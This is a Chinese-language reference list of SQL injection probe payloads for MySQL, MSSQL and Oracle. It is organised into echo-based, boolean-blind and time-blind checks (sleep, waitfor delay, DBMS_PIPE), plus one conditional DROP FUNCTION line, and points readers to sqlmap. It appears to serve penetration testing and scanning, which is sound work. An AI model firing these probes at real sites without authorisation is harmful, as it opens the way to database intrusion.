SQL 注入类相关 Payload 总结


报错和有回显类

MySQL

方法:直接在结果中输出一个 md5 值

select md5(233);

MSSQL

方法:直接在结果中输出一个 md5 值

其 SQL 语句原型类似:

select sys.fn_varbintohexstr(hashbytes('MD5','1234'));

hashbytes()返回 varbinary 类型值

sys.fn_VarBinToHexStr() 是把 varbinary 转换成 varchar

Oracle

方法:Oracle 中输出 md5 值实现起来较为复杂,可以连续输出几个随机的字符来使判断字符串随机化

SQL 语句:

SELECT CHR(97)||CHR(108)||CHR(107)||CHR(100)||CHR(102)||CHR(106)||CHR(103)||CHR(99) FROM foobar

其效果相当于:

SELECT 'alkdfjgc' FROM foobar

这样只用检测 alkdfjgc 是否在返回页面中即可。

注意:所选字符串应该尽量无规律且要有一定长度,不要选用常见的单词(如 get, test, ceshi)。

布尔盲注类

MySQL

select * from table where 1=1;
select * from table where 1=2;
select * from table where 1>2;
select IF(1=1, 1, 2);
select IF(1=2, 1, 2);

MSSQL

and 1=1
and 1=2
IF(1=1) SELECT 123 ELSE DROP FUNCTION xxxx

Oracle

(SELECT (CASE WHEN (1=1) THEN 123 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)

时间盲注类

MySQL

SELECT IF(1=1, sleep(5), "1");
SELECT IF(1=2, sleep(5), "1");

MSSQL

waitfor delay '0:0:5'

Oracle

AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

receive_message 函数用于接收管道消息,并将接收到的消息写入到本地消息缓冲区。当接收完管道信息之后,会删除管道消息,管道消息只能被接收一次。

语法:

dbms_pipe.receive_message(pepename in varchar2,timeout in integer default maxwait) return integer;

其中,返回 0 接收成功,返回 1 超时,返回 2 本地缓冲区不能容纳管道消息,返回 3 发生中断。


文中所提及到的 Payload 不是唯一答案,仅作参考。如果想看更全面的,请参考 sqlmap 中 Payload 部分。